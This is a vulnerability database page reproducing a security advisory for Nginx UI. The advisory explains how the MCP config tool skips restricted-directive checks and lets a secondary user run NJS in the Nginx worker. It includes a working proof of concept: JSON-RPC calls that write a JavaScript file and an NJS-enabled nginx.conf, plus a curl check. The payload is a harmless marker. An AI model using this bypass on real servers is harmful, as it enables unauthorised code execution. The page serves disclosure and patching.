CVE-2026-84319: Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
Summary The regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content.
Published Oct 15, 2026
Affected packages
github.com/0xJacky/Nginx-UI
- Ecosystem
- Go
- Affected
- < 1.9.10-0.20260703131214-23d1934099b0
- Fixed in
- 1.9.10-0.20260703131214-23d1934099b0
- Check
go list -m github.com/0xJacky/Nginx-UI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
Affected component
/mcp/mcp_message- MCP tool:
nginx_config_add - Nginx configuration validation
Impact
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
Minimal PoC
Preconditions
- Attacker has a secondary authenticated Nginx UI account.
- MCP is enabled.
- Nginx has NJS available:
find / -name "ngx_http_js_module.so" 2>/dev/nullObserved in the lab:
/usr/lib/nginx/modules/ngx_http_js_module.so1. HTTP API blocks the restricted config
Request:
POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/jsonBody:
{
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}Observed result:
Rejected because the content contains restricted directives such as load_module/js_import/js_content.2. MCP writes the JavaScript file
Open an MCP session and call tools/call with:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "poc.js",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
}
}
}3. MCP writes the NJS-enabled nginx.conf
Call tools/call again:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
}
}4. Verify NJS execution
Inside the Nginx UI container:
curl -i http://127.0.0.1:18249/__pocObserved response:
HTTP/1.1 200 OK
MCP_NJS_MARKERThis confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
Expected behavior
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
Suggested fix
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
load_modulejs_importjs_contentjs_setperl_setuser root
Credited to aleff-github.
References
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x
- https://nvd.nist.gov/vuln/detail/CVE-2026-84319
- https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
- https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
- https://github.com/advisories/GHSA-5r62-gj48-897x
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
